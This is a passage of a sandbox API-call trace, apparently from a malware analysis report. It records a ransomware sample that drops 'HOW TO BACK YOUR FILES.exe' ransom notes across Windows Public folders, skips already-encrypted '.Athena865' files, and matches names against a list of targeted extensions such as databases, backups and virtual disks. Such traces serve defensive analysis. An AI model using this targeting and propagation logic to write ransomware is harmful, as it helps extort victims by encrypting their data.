cAlternateFileName="")) returned 0x529410 [0054.178] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.178] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0054.178] lstrcpyW (in: lpString1=0x241e8a4, lpString2="desktop.ini.Athena865" | out: lpString1="desktop.ini.Athena865") returned="desktop.ini.Athena865" [0054.178] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0054.178] lstrlenW (lpString="Athena865") returned 9 [0054.178] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0054.178] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd1efd00, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbd1efd00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0054.178] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0054.178] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd1efd00, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbd1efd00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0054.179] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0054.179] ReleaseMutex (hMutex=0xec) returned 1 [0054.179] CloseHandle (hObject=0xec) returned 1 [0054.179] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Public\\Desktop" | out: lpString1="C:\\Documents and Settings\\Public\\Desktop") returned="C:\\Documents and Settings\\Public\\Desktop" [0054.179] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528c50 | out: hHeap=0x4f0000) returned 1 [0054.179] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50c2a8 | out: hHeap=0x4f0000) returned 1 [0054.179] lstrlenW (lpString="C:\\Documents and Settings\\Public\\Desktop") returned 40 [0054.179] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\A674F58C572F8430328E5EC7BDCDF2A9") returned 0xec [0054.179] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0054.179] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Public\\Desktop" | out: lpString1="C:\\Documents and Settings\\Public\\Desktop") returned="C:\\Documents and Settings\\Public\\Desktop" [0054.179] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0054.179] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Public\\Desktop\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\public\\desktop\\how to back your files.exe"), bFailIfExists=1) returned 0 [0054.179] CreateFileW (lpFileName="C:\\Documents and Settings\\Public\\Desktop\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\public\\desktop\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0054.180] GetLastError () returned 0x0 [0054.180] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0054.180] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0054.180] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Public\\Desktop\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc472b880, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc472b880, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0054.180] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.180] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0054.180] lstrcpyW (in: lpString1=0x241e89a, lpString2="Adobe Reader X.lnk.Athena865" | out: lpString1="Adobe Reader X.lnk.Athena865") returned="Adobe Reader X.lnk.Athena865" [0054.180] lstrlenW (lpString="Adobe Reader X.lnk.Athena865") returned 28 [0054.180] lstrlenW (lpString="Athena865") returned 9 [0054.180] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0054.180] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2826d6cd, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2826d6cd, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28860dd8, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x3b0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini.Athena865", cAlternateFileName="")) returned 1 [0054.180] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.180] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0054.180] lstrcpyW (in: lpString1=0x241e89a, lpString2="desktop.ini.Athena865" | out: lpString1="desktop.ini.Athena865") returned="desktop.ini.Athena865" [0054.180] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0054.180] lstrlenW (lpString="Athena865") returned 9 [0054.180] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0054.180] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7df21ca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7df21ca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7df21ca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xbe0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Google Chrome.lnk.Athena865", cAlternateFileName="GOOGLE~1.ATH")) returned 1 [0054.180] lstrcmpiW (lpString1="Google Chrome.lnk.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.180] lstrcmpiW (lpString1="Google Chrome.lnk.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0054.180] lstrcpyW (in: lpString1=0x241e89a, lpString2="Google Chrome.lnk.Athena865" | out: lpString1="Google Chrome.lnk.Athena865") returned="Google Chrome.lnk.Athena865" [0054.180] lstrlenW (lpString="Google Chrome.lnk.Athena865") returned 27 [0054.180] lstrlenW (lpString="Athena865") returned 9 [0054.181] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0054.181] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc5e2da0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc5e2da0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0054.181] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0054.181] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0a09a40, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb0a09a40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0a09a40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x790, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Mozilla Firefox.lnk.Athena865", cAlternateFileName="MOZILL~1.ATH")) returned 1 [0054.181] lstrcmpiW (lpString1="Mozilla Firefox.lnk.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0054.181] lstrcmpiW (lpString1="Mozilla Firefox.lnk.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0054.181] lstrcpyW (in: lpString1=0x241e89a, lpString2="Mozilla Firefox.lnk.Athena865" | out: lpString1="Mozilla Firefox.lnk.Athena865") returned="Mozilla Firefox.lnk.Athena865" [0054.181] lstrlenW (lpString="Mozilla Firefox.lnk.Athena865") returned 29 [0054.181] lstrlenW (lpString="Athena865") returned 9 [0054.181] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0054.181] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0a09a40, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb0a09a40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0a09a40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x790, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Mozilla Firefox.lnk.Athena865", cAlternateFileName="MOZILL~1.ATH")) returned 0 [0054.181] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0054.181] ReleaseMutex (hMutex=0xec) returned 1 [0054.181] CloseHandle (hObject=0xec) returned 1 [0054.181] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Public\\Documents" | out: lpString1="C:\\Documents and Settings\\Public\\Documents") returned="C:\\Documents and Settings\\Public\\Documents" [0054.181] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528cb0 | out: hHeap=0x4f0000) returned 1 [0054.181] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52cee8 | out: hHeap=0x4f0000) returned 1 [0054.181] lstrlenW (lpString="C:\\Documents and Settings\\Public\\Documents") returned 42 [0054.181] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\66BC1AA50BF38B1A27A6A6DFEBE2DB50") returned 0xec [0054.181] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0054.181] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Public\\Documents" | out: lpString1="C:\\Documents and Settings\\Public\\Documents") returned="C:\\Documents and Settings\\Public\\Documents" [0054.181] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0054.181] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Public\\Documents\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\public\\documents\\how to back your files.exe"), bFailIfExists=1) returned 0 [0054.182] CreateFileW (lpFileName="C:\\Documents and Settings\\Public\\Documents\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\public\\documents\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0054.182] GetLastError () returned 0x0 [0054.182] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0054.182] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0054.182] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Public\\Documents\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc47519e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc47519e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0054.182] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.182] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0054.182] lstrcpyW (in: lpString1=0x241e89e, lpString2="desktop.ini.Athena865" | out: lpString1="desktop.ini.Athena865") returned="desktop.ini.Athena865" [0054.182] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0054.183] lstrlenW (lpString="Athena865") returned 9 [0054.183] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0054.183] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc5e2da0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc5e2da0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0054.183] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0054.183] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0054.183] lstrcmpiW (lpString1="My Music", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0054.183] lstrcmpiW (lpString1="My Music", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0054.183] lstrcpyW (in: lpString1=0x241e89e, lpString2="My Music" | out: lpString1="My Music") returned="My Music" [0054.183] lstrcatW (in: lpString1="My Music", lpString2="\\" | out: lpString1="My Music\\") returned="My Music\\" [0054.183] lstrcatW (in: lpString1="My Music\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="My Music\\HOW TO BACK YOUR FILES.exe") returned="My Music\\HOW TO BACK YOUR FILES.exe" [0054.183] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Public\\Documents\\My Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\public\\documents\\my music\\how to back your files.exe"), bFailIfExists=1) returned 0 [0054.183] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0054.183] lstrcmpiW (lpString1="My Pictures", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0054.183] lstrcmpiW (lpString1="My Pictures", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0054.183] lstrcpyW (in: lpString1=0x241e89e, lpString2="My Pictures" | out: lpString1="My Pictures") returned="My Pictures" [0054.183] lstrcatW (in: lpString1="My Pictures", lpString2="\\" | out: lpString1="My Pictures\\") returned="My Pictures\\" [0054.183] lstrcatW (in: lpString1="My Pictures\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="My Pictures\\HOW TO BACK YOUR FILES.exe") returned="My Pictures\\HOW TO BACK YOUR FILES.exe" [0054.184] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Public\\Documents\\My Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\public\\documents\\my pictures\\how to back your files.exe"), bFailIfExists=1) returned 0 [0054.184] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0054.184] lstrcmpiW (lpString1="My Videos", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0054.184] lstrcmpiW (lpString1="My Videos", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0054.184] lstrcpyW (in: lpString1=0x241e89e, lpString2="My Videos" | out: lpString1="My Videos") returned="My Videos" [0054.184] lstrcatW (in: lpString1="My Videos", lpString2="\\" | out: lpString1="My Videos\\") returned="My Videos\\" [0054.184] lstrcatW (in: lpString1="My Videos\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="My Videos\\HOW TO BACK YOUR FILES.exe") returned="My Videos\\HOW TO BACK YOUR FILES.exe" [0054.184] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Public\\Documents\\My Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\public\\documents\\my videos\\how to back your files.exe"), bFailIfExists=1) returned 0 [0054.185] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 0 [0054.185] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0054.185] ReleaseMutex (hMutex=0xec) returned 1 [0054.185] CloseHandle (hObject=0xec) returned 1 [0054.185] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Public\\Downloads" | out: lpString1="C:\\Documents and Settings\\Public\\Downloads") returned="C:\\Documents and Settings\\Public\\Downloads" [0054.185] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528d10 | out: hHeap=0x4f0000) returned 1 [0054.185] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52cf00 | out: hHeap=0x4f0000) returned 1 [0054.185] lstrlenW (lpString="C:\\Documents and Settings\\Public\\Downloads") returned 42 [0054.185] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\E37070ADC0E87C86B67B4239E26448CC") returned 0xec [0054.185] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0054.185] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Public\\Downloads" | out: lpString1="C:\\Documents and Settings\\Public\\Downloads") returned="C:\\Documents and Settings\\Public\\Downloads" [0054.185] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0054.185] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Public\\Downloads\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\public\\downloads\\how to back your files.exe"), bFailIfExists=1) returned 0 [0054.185] CreateFileW (lpFileName="C:\\Documents and Settings\\Public\\Downloads\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\public\\downloads\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0054.186] GetLastError () returned 0x0 [0054.186] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0054.186] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0054.186] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Public\\Downloads\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbd2ae3e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd2ae3e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0054.187] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.187] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0054.187] lstrcpyW (in: lpString1=0x241e89e, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini" [0054.187] lstrlenW (lpString="desktop.ini") returned 11 [0054.187] lstrlenW (lpString="Athena865") returned 9 [0054.187] lstrcmpiW (lpString1="sktop.ini", lpString2="Athena865") returned 1 [0054.187] lstrlenW (lpString=".dll") returned 4 [0054.187] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1 [0054.187] lstrlenW (lpString=".lnk") returned 4 [0054.187] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1 [0054.187] lstrlenW (lpString=".ini") returned 4 [0054.187] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1 [0054.187] lstrlenW (lpString=".sys") returned 4 [0054.187] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1 [0054.187] lstrlenW (lpString="desktop.ini") returned 11 [0054.187] lstrlenW (lpString="bak") returned 3 [0054.187] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1 [0054.187] lstrlenW (lpString="ba_") returned 3 [0054.187] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1 [0054.187] lstrlenW (lpString="dbb") returned 3 [0054.187] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1 [0054.187] lstrlenW (lpString="vmdk") returned 4 [0054.187] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1 [0054.187] lstrlenW (lpString="rar") returned 3 [0054.187] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1 [0054.187] lstrlenW (lpString="zip") returned 3 [0054.187] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1 [0054.187] lstrlenW (lpString="tgz") returned 3 [0054.187] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1 [0054.187] lstrlenW (lpString="vbox") returned 4 [0054.187] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1 [0054.188] lstrlenW (lpString="vdi") returned 3 [0054.188] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1 [0054.188] lstrlenW (lpString="vhd") returned 3 [0054.188] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1 [0054.188] lstrlenW (lpString="vhdx") returned 4 [0054.188] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1 [0054.188] lstrlenW (lpString="avhd") returned 4 [0054.188] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1 [0054.188] lstrlenW (lpString="db") returned 2 [0054.188] lstrcmpiW (lpString1="ni", lpString2="db") returned 1 [0054.188] lstrlenW (lpString="db2") returned 3 [0054.188] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1 [0054.188] lstrlenW (lpString="db3") returned 3 [0054.188] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1 [0054.188] lstrlenW (lpString="dbf") returned 3 [0054.188] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1 [0054.188] lstrlenW (lpString="mdf") returned 3 [0054.188] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1 [0054.188] lstrlenW (lpString="mdb") returned 3 [0054.188] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1 [0054.188] lstrlenW (lpString="sql") returned 3 [0054.188] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1 [0054.188] lstrlenW (lpString="sqlite") returned 6 [0054.188] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1 [0054.188] lstrlenW (lpString="sqlite3") returned 7 [0054.188] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1 [0054.188] lstrlenW (lpString="sqlitedb") returned 8 [0054.188] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1 [0054.188] lstrlenW (lpString="xml") returned 3 [0054.188] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1 [0054.188] lstrlenW (lpString="$er") returned 3 [0054.188] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1 [0054.188] lstrlenW (lpString="4dd") returned 3 [0054.188] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1 [0054.188] lstrlenW (lpString="4dl") returned 3 [0054.188] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1 [0054.189] lstrlenW (lpString="^^^") returned 3 [0054.189] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1 [0054.189] lstrlenW (lpString="abs") returned 3 [0054.189] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1 [0054.189] lstrlenW (lpString="abx") returned 3 [0054.189] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1 [0054.189] lstrlenW (lpString="accdb") returned 5 [0054.189] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1 [0054.189] lstrlenW (lpString="accdc") returned 5 [0054.189] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1 [0054.189] lstrlenW (lpString="accde") returned 5 [0054.189] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1 [0054.189] lstrlenW (lpString="accdr") returned 5 [0054.189] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1 [0054.189] lstrlenW (lpString="accdt") returned 5 [0054.189] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1 [0054.189] lstrlenW (lpString="accdw") returned 5 